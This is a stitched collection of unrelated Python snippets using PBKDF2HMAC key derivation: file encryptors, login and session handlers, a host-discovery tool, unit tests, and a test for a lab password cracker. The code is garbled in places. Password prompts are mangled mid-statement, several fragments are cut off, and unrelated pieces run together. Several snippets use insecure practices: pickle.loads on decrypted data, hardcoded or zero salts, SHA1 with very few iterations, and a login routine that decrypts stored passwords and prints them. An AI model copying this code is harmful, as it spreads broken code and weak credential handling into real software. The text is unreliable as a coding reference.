def unpack_data(file_name, private_key_path=None, key_password=None): print(Fore.LIGHTMAGENTA_EX + "\n\n# ------------------------------------------------------\n" "# Warning the extractor module is not secure against erroneous or\n" "# maliciously constructed data. Never unpack data received from an\n" "# untrusted or unauthenticated source.\n" "# ------------------------------------------------------\n\n") enc_key = base64.b85decode(get_key_data("PRIVATE", private_key_path)) if key_password: password = key_password else: password = getpass.getpass("Insert the key's password: "******"Decryption failed - Check if the key's password is correct: \n" + str(e)) exit(668) private_key = serialization.load_pem_private_key( dec_key, password=None, backend=default_backend() ) if not private_key: print(Fore.RED + "Could not load the public key") exit(667) with open(file_name,"rb") as file: encrypted = file.read() hmac_hash = encrypted[-64:] encrypted_password = (encrypted[:-64])[-1024:] key_password = private_key.decrypt( encrypted_password, ass_padding.OAEP( mgf=ass_padding.MGF1(algorithm=hashes.SHA512()), algorithm=hashes.SHA512(), label=None ) ) cipher_text = encrypted[:-1088] digest = hashes.Hash(hashes.SHAKE128(16), backend=default_backend()) digest.update(key_password) salt = digest.finalize() # Real key digested from the key_password kdf_kp = PBKDF2HMAC(algorithm = hashes.SHA512(), length = 32, salt = salt, iterations = 1000, backend = default_backend()) key = kdf_kp.derive(key_password) # ChaCha20 Nonce kdf_n = PBKDF2HMAC(algorithm = hashes.SHA256(), length = 16, salt = salt, iterations = 200, backend = default_backend()) nonce = kdf_n.derive(key) # AES CBC Init vector kdf_iv = PBKDF2HMAC(algorithm=hashes.SHA256(), length=16, salt=salt, iterations=200, backend=default_backend()) iv = kdf_iv.derive(nonce + key) # HMAC Derivated key kdf_hmac = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=200, backend=default_backend()) hmac_key = kdf_hmac.derive(iv + key) try: h = hmac.HMAC(hmac_key, hashes.SHA512(), backend=default_backend()) h.update(cipher_text) h.verify(hmac_hash) except: print(Fore.RED + "Could not authenticate data pack") exit(667) print(Fore.GREEN + "Valid data") # AES cipher_aes = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) decryptor = cipher_aes.decryptor() chacha_encrypted = decryptor.update(cipher_text) + decryptor.finalize() # CHACHA chacha_alg = algorithms.ChaCha20(key, nonce) cipher_chacha = Cipher(chacha_alg, mode=None, backend=default_backend()) decryptor = cipher_chacha.decryptor() compressed_padded = decryptor.update(chacha_encrypted) # PKCS7 padding unpadder = padding.PKCS7(256).unpadder() data = unpadder.update(compressed_padded) compressed = data + unpadder.finalize() ## ===== try: data = lzma.decompress(compressed) except Exception as e: var = traceback.format_exc() raise Exception("Decompress A {} \n {}".format(str(var), str(e))) print("Done!") ret_data = b"" try: ret_data = pickle.loads(data) except Exception as e: print(Fore.RED + "Error while unserializing") var = traceback.format_exc() raise Exception("Unpack Serial {} \n {}".format(str(var), str(e))) return ret_data
def test_unicode_error_with_key_material(self, backend): kdf = PBKDF2HMAC(hashes.SHA1(), 20, b"salt", 10, backend) with pytest.raises(TypeError): kdf.derive(u"unicode here")
def test_invalid_backend(): pretend_backend = object() with raises_unsupported_algorithm(_Reasons.BACKEND_MISSING_INTERFACE): PBKDF2HMAC(hashes.SHA1(), 20, b"salt", 10, pretend_backend)
def innerEnc(input, kli): global d, co, innerkeyli, nu innerkeyli = [] mylines = [] c = -1 fk = open("KeyFile.txt", 'a+') with open(input, 'r+') as myfile: for myline in myfile: # For each line, stored as myline, mylines.append(myline) myfile.close() for i in mylines: c = c + 1 if i.find("1)") == 0: co = c break # print(c) lk = len(kli) # print(lk) myfile = open(input, "r+") r = myfile.readlines() rl = [] i = 0 j = 0 m = 0 lin = -1 modulo(input) output = oli[nu - 1] f = open(output, "w+") for x in r: # print(x) lin = lin + 1 if lin == (c + j): if j == 2: rl.append(x) j = j + 1 else: # print("val of i:",i) # print("current key:" + kli[i]) password_en = kli[i].encode() # Convert to type bytes salt = os.urandom(16) kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100000, backend=default_backend()) key = base64.urlsafe_b64encode( kdf.derive(password_en)) # Can only use kdf once innerkeyli.append(key) fk.write(key.decode()) fk.write(",") fernet = Fernet(key) # print("value of j=", j) data = x.encode() encrypted = fernet.encrypt(data) enc = encrypted.decode() rl.append(enc + '\n') j = j + 1 if j == 4: c = c + 5 j = 0 i = i + 1 if (i >= lk): # d = d + 1 break else: rl.append(x) f.writelines(rl) fk.write("\n") f.close() fk.close()
def test_unsupported_algorithm(self, backend): with raises_unsupported_algorithm(_Reasons.UNSUPPORTED_HASH): PBKDF2HMAC(DummyHashAlgorithm(), 20, b"salt", 10, backend)
def PBKDF2(password, salt): kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend()) key = kdf.derive(password) return key
def init_cryptors(self, password): """ Initialize the cryptors according to the given sec_mode This function must be called before trying to encrypt/decrypt anything. Parameters ---------- password : string or bytes """ password = self.to_bytes(password) kdfs = [None for i in range(self.CRYPTOR_NUM)] KEYS_SIZE = self.KEY_SIZE * self.CRYPTOR_NUM if self.SEC_MODE == '0': nacl_ops = pwhash.argon2i.OPSLIMIT_INTERACTIVE nacl_mem = pwhash.argon2i.MEMLIMIT_INTERACTIVE gost_iters = 4 crypt_iters = 60000 elif self.SEC_MODE == '1': nacl_ops = pwhash.argon2i.OPSLIMIT_MODERATE nacl_mem = pwhash.argon2i.MEMLIMIT_MODERATE gost_iters = 24 crypt_iters = 500000 elif self.SEC_MODE == '2': nacl_ops = pwhash.argon2i.OPSLIMIT_SENSITIVE nacl_mem = pwhash.argon2i.MEMLIMIT_SENSITIVE gost_iters = 111 crypt_iters = 2500000 else: raise TypeError("Wrong SEC_MODE!") kdfs[0] = lambda pw: pwhash.argon2i.kdf(KEYS_SIZE, pw, self.salts[0][:pwhash.argon2i. SALTBYTES], opslimit=nacl_ops, memlimit=nacl_mem) kdfs[1] = lambda pw: pbkdf2(pw, self.salts[1], gost_iters, KEYS_SIZE) kdfs[2] = lambda pw: PBKDF2HMAC(algorithm=hashes.SHA256(), length=KEYS_SIZE, salt=self.salts[2], iterations=crypt_iters, backend=default_backend()).derive(pw) long_key = password for i in range(self.CRYPTOR_NUM): long_key = kdfs[i](long_key) keys = [ long_key[self.KEY_SIZE * i:self.KEY_SIZE * (i + 1)] for i in range(self.CRYPTOR_NUM) ] self.cryptors[0] = Fernet(base64.urlsafe_b64encode(keys[2])) self.cryptors[1] = GOST_Cryptor(keys[1]) self.cryptors[2] = secret.SecretBox(keys[0])
def post(self, request, eid, tok, format=None): # Verify that the employee ID exists tokR = settings.REDIS_CONN.get(eid) if tokR is None: return Response(False) # TokR is not None if not isinstance(tokR, bytes): return Response(False) # TokR is a bytes buffer if tokR.decode('utf-8') == tok: request = loads(request.body) salt = b64decode(tok) EncData = b64decode(request['data']) loaded_public_key = serialization.load_pem_public_key( b64decode(request['pub']), backend=default_backend()) loaded_private_key = serialization.load_pem_private_key( b64decode(settings.REDIS_CONN.get(eid + "pvt")), # or password=None, if in plain text password=None, backend=default_backend()) shared_key = loaded_private_key.exchange(ec.ECDH(), loaded_public_key) kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100000, backend=default_backend()) AESkey = kdf.derive(shared_key) DecData = self.DecAES(AESkey, EncData) DecDataJSON = loads(DecData) OTP = DecDataJSON['OTP'] if HCenterEmployee.objects.filter(EmployeeID=eid).exists(): EmpObj = HCenterEmployee.objects.get(EmployeeID=eid) # Generate a Session Token for Employee and return it # Hash a random number config.InputTemplate['uid'] = EmpObj.Data['UID'] config.InputTemplate["bio_dict"]["FMR"] = { "LEFT_THUMB": DecDataJSON["BIO"] } res = AuthInit(config.InputTemplate, OTP) if res.get('actn') == "RETRY": res = AuthInit(config.InputTemplate, OTP) if res.get('ret') == "Y": # Employee Verification complete # In redis save EID + "auth" = Txn ID of AuthInit response settings.REDIS_CONN.set(eid + "auth", res.get('txn'), 10 * 3600) # Valid for 10 hours. # Create a new token Encrypt it with the AESkey and return in response a newcreated Token # From this point on after recieving this token HealthCenter will request Sessions from Auth Channel # from Session Server tok = sha256(urandom(128)).hexdigest() settings.REDIS_CONN.set( eid + "authed", tok, 3600) # One Token is valid for One Hour. return Response(tok) else: return Response(False) return Response(False)
def secret_do(self, file_p, key_p="ldae_is_good", secret_if=1): burst_if = 0 password = bytes(key_p, encoding="utf-8") salt = b"llddaaeeiissookk" kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100000, backend=default_backend()) #kdf = PBKDF2HMAC(algorithm=hashes.SHA224,length=32,salt=b"123",iterations=100000,backend=default_backend()) jey = base64.urlsafe_b64encode(kdf.derive(password)) key = Fernet(jey) #文件操作实例 file_do = inc_file.File_base() file_size = file_do.getDocSize(file_p) print("\n文件大小:" + file_size) print("(file_sizes:" + file_size + ")\n") #超过系统内存某阈值值分片 mem = psutil.virtual_memory() numb_mem_free = float(mem.total) numb_mem_free = numb_mem_free / 1024 / 1024 / 1024 / 8 #可占用内存估计阈值 if ("G" in file_size): numb_size = float(file_size.replace(" G", "")) if (numb_size > numb_mem_free): burst_if = 1 if ("M" in file_size): numb_size = float(file_size.replace(" M", "")) if (numb_size > numb_mem_free * 1024): burst_if = 1 # 加密处理 if secret_if == 1: # ----- 分片处理开始 ----- if (burst_if > 0): print("\n文件大于 " + str(int(numb_mem_free)) + "G,进行分片处理......") print( "(Sizes of file is more than 512M,so it is burstting......)\n" ) f = open(key_p + ".txt", 'a', encoding="utf-8") try: t = open(file_p, 'r', encoding="utf-8") except: t = open(file_p, 'r') for line in t: str_t = line str_t = str_t.encode("utf-8") token = key.encrypt(str_t) # 加密 f.write(str(token) + "\r\n") f.close() t.close() os.remove(file_p) os.rename(key_p + ".txt", file_p) return True # ----- 分片处理结束 ----- # ----- 非分片处理开始 ----- if (burst_if == 0): try: t = open(file_p, 'r', encoding="utf-8") text = t.read() text = text.encode("utf-8") t.close() except: t = open(file_p, 'r') text = t.read() text = text.encode("utf-8") t.close() try: token = key.encrypt(text) # 加密 #print(token) # 调试用 f = open(file_p, 'wb') f.write(token) f.close() return True except: print("\nThe running is bad!Try it again,please!\n") return False pass # ----- 非分片处理结束 return True # 解密处理 if secret_if == 2: # ----- 分片解密开始 ----- if (burst_if == 1): print("\n文件大于512M,进行分片处理......") print( "(Sizes of file is more than 512M,so it is burstting......)\n" ) f = open(key_p + ".txt", 'w') t = open(file_p, 'r', encoding="utf-8") for line in t: if (line != "\n"): line = line.replace("b'", "") line = line.replace("'", "") line = line.replace("\n", "") byte_t = line.encode("utf-8") #print (byte_t) #调试用 try: source_str = key.decrypt(byte_t) source_str = source_str.decode("utf-8") # 解密 f.write(source_str) except: pass f.close() t.close() os.remove(file_p) os.rename(key_p + ".txt", file_p) return True # ----- 分片解密结束 ----- # ----- 非分片解密开始 ----- if (burst_if == 0): text = open(file_p, 'rb').read() if (text[0:5] != b"gAAAA"): print("\n源文件不是加密文件,请再试一次!") print( "The file is not a Secret file!Try it again,please!\n") return False try: source_str = key.decrypt(text) source_str = source_str.decode("utf-8") # 解密 except: print("\n密钥错误,请再试一次!") print("The key is wrong!Try it again,please!\n") return False try: f = open(file_p, 'w', encoding="utf-8") f.write(source_str) f.close() return True except: f = open(file_p, 'w') f.write(source_str) f.close() return True # ----- 非分片解密结束 ----- return True
def get_profile_password(path, default=None): """ Get a value from the profile, whether it exists or not If the value does not exist in the profile, returns either the default value (if there is one) or None. """ _logger = logging.getLogger(__name__) allowed = [] allowed.append( os.path.join(os.path.dirname(os.path.abspath(__file__)), 'app_utils.py')) allowed.append( os.path.join(os.path.dirname(os.path.abspath(__file__)), 'commandline.py')) allowed.append( os.path.join(os.path.dirname(os.path.abspath(__file__)), 'application.py')) filename = inspect.getframeinfo(sys._getframe(1))[0] if (filename in allowed): if (isinstance(path, str)): path = [path] first_id = hashlib.sha256( run_command("cat /etc/machine-id".split(), capture=1).stdout).hexdigest() second_id = hashlib.sha256( run_command("hostid".split(), capture=1).stdout).hexdigest() try: third_idb1 = run_command("blkid".split(), capture=1).stdout.decode().strip() third_id = hashlib.sha256( run_command("""grep -oP 'UUID="\\K[^"]+'""".split(), capture=4, stdin=third_idb1).stdout).hexdigest() except FileNotFoundError: _logger.warning(" ".join([ "Package not installed: 'blkid'", "Please install it manually or run apt_requirements.sh again" ])) third_id = "" salt = get_profile_key() kdf = PBKDF2HMAC(algorithm=hashes.SHA512(), length=32, salt=salt, iterations=100000, backend=default_backend()) password = ''.join([first_id, second_id, third_id]).encode() key = base64.urlsafe_b64encode(kdf.derive(password)) cipher_suite = Fernet(key) response = get_profile_var(path, None) try: if (hasattr(response, "encode")): response = cipher_suite.decrypt( response.encode("utf-8")).decode("utf-8") except InvalidToken: response = None if response is None: response = default else: print( "Access to encrypted profile elements not allowed from {}".format( filename)) _logger.warn( "Access to encrypted profile elements not allowed from {}".format( filename)) response = None return response
def login(conn, crsr, sqlconn): updateLoggedIn = 'UPDATE user_info SET LoggedIn = %s WHERE (Username = %s)' retreivePwordCommand = 'SELECT Pword FROM user_info WHERE (Username = %s)' storePkey = 'UPDATE user_info SET PublicKey = %s WHERE (Username = %s) ' getSalt = 'SELECT Salt FROM user_info WHERE (Username = %s)' userExistCommand = 'SELECT COUNT(Username) FROM user_info WHERE (Username = %s)' sizeofuser = int.from_bytes(conn.recv(28), byteorder='big') user = conn.recv(sizeofuser) crsr.execute(userExistCommand, (user, )) ans = crsr.fetchall() while ans[0][0] == 0: conn.send((1).to_bytes(1, byteorder='big')) sizeofuser = int.from_bytes(conn.recv(28), byteorder='big') user = conn.recv(sizeofuser) crsr.execute(userExistCommand, (user, )) ans = crsr.fetchall() conn.send((0).to_bytes(1, byteorder='big')) sizeofpword = int.from_bytes(conn.recv(28), byteorder='big') pword = conn.recv(sizeofpword) crsr.execute(getSalt, (user.decode(), )) salt = (crsr.fetchall())[0][0] salt = bytes(salt) print('the salt returned is', salt, '\n') print('salt is a ', type(salt), '\n') crsr.execute(retreivePwordCommand, (user.decode(), )) ans = (crsr.fetchall())[0][0] ans = ans.encode() #print(ans) ans = bytes(ans) kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100000, backend=default_backend()) key = base64.urlsafe_b64encode(kdf.derive(user)) f = Fernet(key) ans = f.decrypt(ans) print('the actual password is ', ans, '\n') print('the password received is ', pword, '\n') while ans != pword: conn.send((1).to_bytes(1, byteorder='big')) sizeofpword = int.from_bytes(conn.recv(28), byteorder='big') pword = conn.recv(sizeofpword) print('the password received is ', pword, '\n') conn.send((0).to_bytes(1, byteorder='big')) sizeofpkey = int.from_bytes(conn.recv(28), byteorder='big') pkey = conn.recv(sizeofpkey) crsr.execute(storePkey, ( pkey, user.decode(), )) crsr.execute(updateLoggedIn, ( 'ONLINE', user.decode(), )) sqlconn.commit() return user.decode()
def do_crypto_stuff(password: str, given_salt: bytes, num_of_iterations: int) -> Fernet: encoded_password = password.encode('utf-8') kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=given_salt, iterations=num_of_iterations) key = base64.urlsafe_b64encode(kdf.derive(encoded_password)) return Fernet(key)
@app.on_event("shutdown") async def close_session(): conn_pool = app.state.redis await conn_pool await conn_pool.wait_closed() connect( app=app, secret=secret_key, signer=Fernet( b64encode( PBKDF2HMAC( algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100, ).derive(secret_key.encode("utf-8")))), settings=settings, backend_adapter_loader=on_load_backend_adapter, on_load_cookie=on_load_cookie, ) @app.post("/init/") async def init_session( response: Response, manager: SessionManager = Depends(get_session_manager) ) -> Response: response = manager.set_cookie(response, session_id_generator(app)) response.status_code = status.HTTP_200_OK return response
def create_symm_key(pwd): salt = b'\ x00' kdf = PBKDF2HMAC(hashes.SHA1(), 16, salt, 1000, default_backend()) return kdf.derive(bytes(pwd, 'UTF-8'))
file.write(ciphertext) print(plaintext, f.decrypt(ciphertext)) with open("details.txt", "rb") as file: token = file.read() print(f.decrypt(token)) message = b"Secret message!" password = b"password" key1 = Fernet(Fernet.generate_key()) key2 = Fernet(Fernet.generate_key()) f = MultiFernet([key1, key2]) salt = os.urandom(16) kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=390000) key = base64.urlsafe_b64encode(kdf.derive(password)) f = Fernet(key) print(salt) token = f.encrypt(message) print(token) kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=390000) key = base64.urlsafe_b64encode(kdf.derive(b"password")) f = Fernet(key) print(f.decrypt(token))
def _get_kdf(self, salt): return PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100000, backend=default_backend())
def test_db_cmdline(self): print("Testing the cracker.py commandline brute force test") print("cwd", os.getcwd()) pw1 = random_word(string.ascii_lowercase, random.randint(2,4)) pw2 = random_word(string.ascii_lowercase, random.randint(2,4)) pw3 = random_word(string.ascii_lowercase, 6) self.assertTrue(os.path.exists("cracker.py")) self.assertTrue(os.path.exists("db.sqlite3")) pws = {pw1:True, pw2: True, pw3: False} for pw, should_pass in pws.items(): salt = random_word(string.ascii_letters+string.digits, 12) kdf = PBKDF2HMAC( algorithm=hashes.SHA256(), length=16, salt=salt, iterations=1, ) key_hash = kdf.derive(pw.encode()) hash = "pbkdf2_sha256$1${}${}".format(salt, base64.b64encode(key_hash).decode() output = subprocess.check_output("python3 cracker.py {}".format(hash), shell=True) output = output.decode() output = output.lower() passed = False if "password not cracked" in output: passed = False if "password cracked" in output: passed = True self.assertTrue(output.count(":") == 1) password = output.split(":")[1].strip() self.assertTrue(password == pw or password[1:-1] == pw) self.assertEqual(should_pass, passed) def tearDown(self): if self.TEST_PATH in os.getcwd(): os.chdir("..") if os.path.exists(self.TEST_PATH): os.system("rm -rf {}".format(self.TEST_PATH)) class ViewsTestCase(TestCase): def setUp(self): UserXtraAuth.objects.create(username="******", secrecy=5, tokenkey = "") UserXtraAuth.objects.create(username="******", secrecy=0, tokenkey = "") NewsListing.objects.create(queryId="abc", query="Top Secret", sources="", secrecy=5,lastuser="") NewsListing.objects.create(queryId="cde", query="Not Secret", sources="", secrecy=0,lastuser="") NewsListing.objects.create(queryId="bcd", query="Middle Secret", sources="", secrecy=3,lastuser="") def test_api_manager(self): print("Testing the no read up policy:") test_api = NewsApiManager() #0 secrecy api cannot read articles of higher secrecy level test_api.update_secrecy(0) test_api.update_articles() self.assertEqual(len(test_api.data), 1) #5 secrecy api can read articles of equal or higher secrecy level test_api.update_secrecy(5) test_api.update_articles() self.assertEqual(len(test_api.data), 3) def test_user_account(self): print("Testing that users can only see news items at their level when in the view to update or create news items. Make sure you are not leaking data about other queries that the user is not supposed to see.") rookie = UserXtraAuth.objects.get(username="******") bigshot = UserXtraAuth.objects.get(username="******") #set up requests request_get = RequestFactory().get('/') data = {'create_news': 'news', 'new_news_query': 'new', 'new_news_sources': 'source', 'new_news_secrecy': 5} request_post_create = RequestFactory().post('/', data) data = {'update_update': 'news', 'update_news_query': 'new', 'update_news_sources': 'source', 'update_news_secrecy': 5, 'update_news_select' : NewsListing.objects.get(queryId="abc").id} request_post_update = RequestFactory().post('/', data) data = {'update_delete': 'news', 'update_news_select': NewsListing.objects.get(queryId="abc").id} request_post_delete = RequestFactory().post('/', data) #test bigshot get request_get.user = bigshot render = user_account(request_get) self.assertTrue(str(render.content).count("abc") == 1) self.assertTrue(str(render.content).count("bcd") == 0) self.assertTrue(str(render.content).count("cde") == 0) #test bigshot create request_post_create.user = bigshot render = user_account(request_post_create) self.assertTrue(str(render.content).count("abc") == 1) self.assertTrue(str(render.content).count("bcd") == 0) self.assertTrue(str(render.content).count("cde") == 0) #test bigshot delete request_post_delete.user = bigshot render = user_account(request_post_delete) self.assertTrue(str(render.content).count("abc") == 1) self.assertTrue(str(render.content).count("bcd") == 0) self.assertTrue(str(render.content).count("cde") == 0) #test bigshot update request_post_update.user = bigshot render = user_account(request_post_update) self.assertTrue(str(render.content).count("abc") == 1) self.assertTrue(str(render.content).count("bcd") == 0) self.assertTrue(str(render.content).count("cde") == 0) #test rookie get request_get.user = rookie render = user_account(request_get) self.assertTrue(str(render.content).count("abc") == 0) self.assertTrue(str(render.content).count("bcd") == 0) self.assertTrue(str(render.content).count("cde") == 1) #test rookie create request_post_create.user = rookie render = user_account(request_post_create) self.assertTrue(str(render.content).count("abc") == 0) self.assertTrue(str(render.content).count("bcd") == 0) self.assertTrue(str(render.content).count("cde") == 1) #test rookie delete request_post_delete.user = rookie render = user_account(request_post_delete) self.assertTrue(str(render.content).count("abc") == 0) self.assertTrue(str(render.content).count("bcd") == 0) self.assertTrue(str(render.content).count("cde") == 1) #test rookie update request_post_update.user = rookie render = user_account(request_post_update) self.assertTrue(str(render.content).count("abc") == 0) self.assertTrue(str(render.content).count("bcd") == 0) self.assertTrue(str(render.content).count("cde") == 1) def test_form_validation(self): print("Testing that BLP is followed on creation/update/delete of news item:") rookie = UserXtraAuth.objects.get(username="******") bigshot = UserXtraAuth.objects.get(username="******") #set up requests # create a unique source that can be used to search the db create_source_key = random_word(string.ascii_lowercase, 10) data = {'create_news': 'news', 'new_news_query': 'new', 'new_news_sources': create_source_key, 'new_news_secrecy': 3} request_post_create = RequestFactory().post('/', data) update_source_key_3 = random_word(string.ascii_lowercase, 10) data = {'update_update': 'news', 'update_news_query': 'new', 'update_news_sources': update_source_key_3, 'update_news_secrecy': 3, 'update_news_select' : NewsListing.objects.get(queryId="bcd").id} request_post_update_3 = RequestFactory().post('/', data) update_source_key_5 = random_word(string.ascii_lowercase, 10) data = {'update_update': 'news', 'update_news_query': 'new', 'update_news_sources': update_source_key_5, 'update_news_secrecy': 5, 'update_news_select' : NewsListing.objects.get(queryId="abc").id} request_post_update_5 = RequestFactory().post('/', data) update_source_key_5_to_3 = random_word(string.ascii_lowercase, 10) data = {'update_update': 'news', 'update_news_query': 'new', 'update_news_sources': update_source_key_5_to_3, 'update_news_secrecy': 3, 'update_news_select' : NewsListing.objects.get(queryId="abc").id} request_post_update_5_to_3 = RequestFactory().post('/', data) data = {'update_delete': 'news', 'update_news_select': NewsListing.objects.get(queryId="bcd").id} request_post_delete = RequestFactory().post('/', data) ###### # WRITE TEST # 1. Write down (not allowed) # 2. Write up (allowed) #### self.assertEqual(len(NewsListing.objects.filter(sources=create_source_key)), 0) request_post_create.user = bigshot user_account(request_post_create) # should not have added (5->3) is a write-down self.assertEqual(len(NewsListing.objects.filter(sources=create_source_key)), 0) request_post_create.user = rookie user_account(request_post_create) self.assertEqual(len(NewsListing.objects.filter(sources=create_source_key)), 1) #### # Update Test # 1. Attempt to update down (not allowed) # 2. Attempt to update same level (allowed) # 3. Attempt to update same level to lower level (not allowed) # # Attempting to update up is also technically not # allowed in this lab... but it's just weird enough # that we won't test it here. Satisfied to simply not # post any information (read up) # attempt to update at an item at a different security level (5->3) bcd = NewsListing.objects.get(queryId="bcd") self.assertFalse(bcd.sources == update_source_key_3) request_post_update_3.user = bigshot render = user_account(request_post_update_3) bcd = NewsListing.objects.get(queryId="bcd") self.assertFalse(bcd.sources == update_source_key_3) bcd = NewsListing.objects.get(queryId="abc") self.assertFalse(bcd.sources == update_source_key_5) request_post_update_5.user = bigshot render = user_account(request_post_update_5) bcd = NewsListing.objects.get(queryId="abc") self.assertTrue(bcd.sources == update_source_key_5) bcd = NewsListing.objects.get(queryId="abc") self.assertEqual(bcd.secrecy, 5) request_post_update_5_to_3.user = bigshot render = user_account(request_post_update_5_to_3) bcd = NewsListing.objects.get(queryId="abc") self.assertTrue(bcd.secrecy, 5) #### # DELETE TEST # 1. Attempt to delete a lower secrecy item (not allowed) # 2. Attempt to delete an item at the same level (allowed) ### # attempt to delete at a different security level (5->3) and fail self.assertEqual(len(NewsListing.objects.filter(queryId="bcd")), 1) request_post_delete.user = bigshot render = user_account(request_post_delete) self.assertEqual(len(NewsListing.objects.filter(queryId="bcd")), 1) NewsListing.objects.create(queryId="to_delete", query="Delete Secret", sources="", secrecy=5,lastuser="") data = {'update_delete': 'news', 'update_news_select': NewsListing.objects.get(queryId="to_delete").id} request_post_delete_ok = RequestFactory().post('/', data) self.assertEqual(len(NewsListing.objects.filter(queryId="to_delete")), 1) request_post_delete_ok.user = bigshot render = user_account(request_post_delete_ok) self.assertEqual(len(NewsListing.objects.filter(queryId="to_delete")), 0)
def _derive_key(pin, salt): kdf = PBKDF2HMAC(hashes.SHA1(), 24, salt, 10000, default_backend()) return kdf.derive(pin.encode('utf-8'))
def discover(args): handle = args.handle token = args.token instance = args.instance host_list_file = args.remote_hosts_csv if host_list_file == None: host_list_file = args.host_list if host_list_file is not None: with open(host_list_file, mode='r') as csv_file: csv_reader = csv.DictReader(csv_file, quoting=csv.QUOTE_NONE, escapechar='\\') password = None remote_hosts = [] for row in csv_reader: if not args.secure and row['userpwd'].startswith( '__SECURE__:'): if args.password is None: if password is None: password = getpass.getpass( prompt="Enter password: "******"Failed to decrypt login details for " + row['hostname']) return None elif row['userpwd'] != '' and not args.secure: logging.warning( 'Unsecure login information in file. Use --secure to encrypt.' ) if '-' in row['hostname'] or '/' in row[ 'hostname']: # IP range or CIDR is specified, then expand it if '-' in row['hostname']: iprange = row['hostname'] iprange = iprange.replace(' ', '') tokens = iprange.split('-') if len(tokens) != 2 or len(tokens[0]) == 0 or len( tokens[1]) == 0: logging.error("Skipping invalid range [%s]", row['hostname']) continue logging.info( "Enumerating IPs based on specified range [%s]", iprange) try: if sys.version_info[0] < 3: startip = ipaddress.IPv4Address( unicode(tokens[0])) endip = ipaddress.IPv4Address( unicode(tokens[1])) else: startip = ipaddress.IPv4Address(tokens[0]) endip = ipaddress.IPv4Address(tokens[1]) cidrs = [] cidrs = [ ipaddr for ipaddr in ipaddress. summarize_address_range(startip, endip) ] except Exception as e: logging.error("Encountered exception: %s", e) logging.error( "Error converting IP range [%s] to CIDRs. Skipping it...", iprange) continue logging.info("Converted IP range [%s] to CIDRs %s", iprange, cidrs) if '/' in row['hostname']: logging.info( "Enumerating IPs based on specified CIDR [%s]", row['hostname']) try: if sys.version_info[0] < 3: cidrs = [ ipaddress.ip_network( unicode(row['hostname'], "ascii")) ] else: cidrs = [ipaddress.ip_network(row['hostname'])] except Exception as e: logging.error("Encountered exception: %s", e) logging.error( "Invalid CIDR [%s] specified. Skipping it...", row['hostname']) continue for cidr in cidrs: for a in cidr: trow = row.copy() trow['hostname'] = str(a) # Remove hard-coded asset ID and name for CIDR, as it will overwrite same asset # These will based on host IP address automatically trow['assetname'] = None remote_hosts.append(trow) remote_hosts[-1]['remote'] = True logging.info("Enumerated IP: %s", a) else: remote_hosts.append(row) remote_hosts[-1]['remote'] = True if args.secure: # secure the host list logging.info("Securing host list file") if args.password is None: pp1 = getpass.getpass(prompt="Enter password: "******"Re-enter password: "******"Passwords don't match. Try again.") return None else: pp1 = args.password password = pp1.encode() salt = base64.b64encode(password) kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100000, backend=default_backend()) key = base64.urlsafe_b64encode(kdf.derive(password)) f = Fernet(key) # verify the key if possible with open(host_list_file, mode='r') as csv_file: csv_reader = csv.DictReader(csv_file, quoting=csv.QUOTE_NONE, escapechar='\\') for row in csv_reader: try: if row['userpwd'] != '' and row['userpwd'].startswith( '__SECURE__:'): epass = row['userpwd'].replace('__SECURE__:', '') epass = f.decrypt(epass) except: logging.error("Invalid password") logging.error( "Please use the same password as was used previously to secure the file" ) return None # secure the new rows in the file with open(host_list_file, mode='w') as csvfile: fieldnames = [ 'hostname', 'userlogin', 'userpwd', 'privatekey', 'assetname' ] writer = csv.DictWriter(csvfile, fieldnames=fieldnames, quoting=csv.QUOTE_NONE, escapechar='\\') writer.writeheader() for h in remote_hosts: if h['userpwd'] != '' and not h['userpwd'].startswith( '__SECURE__:'): h['userpwd'] = '__SECURE__:' + f.encrypt( h['userpwd'].encode('utf-8')).decode('utf-8') del h['remote'] writer.writerow(h) logging.info("Host list file secured") return None else: return discover_hosts(args, remote_hosts) else: host = {} host['assetid'] = utils.get_ip( ) if args.assetid is None else args.assetid host['assetname'] = host[ 'assetid'] if args.assetname is None else args.assetname host['hostname'] = utils.get_ip() host['remote'] = False hosts = [host] return discover_hosts(args, hosts)
data=json.dumps(ecdh_data)) deepapi_public_key = load_pem_public_key(auth_post.json()['pub_key'].encode(), default_backend()) shared_secret = deepvault_private_key.exchange(ec.ECDH(), deepapi_public_key) # challenge-response iv = secrets.token_bytes(16) salt = secrets.token_bytes(32) iterations = 150000 kdf = PBKDF2HMAC( algorithm=SHA512(), length=32, # 32 * 8 = 256 bits salt=salt, iterations=iterations, backend=default_backend()) secret_key = kdf.derive(shared_secret) cipher = Cipher(algorithms.AES(secret_key), modes.CBC(iv), backend=default_backend()) encryptor = cipher.encryptor() decryptor = cipher.decryptor() nonce = secrets.token_bytes(64) encrypted_nonce = encryptor.update(nonce) + encryptor.finalize() nonce_data = {
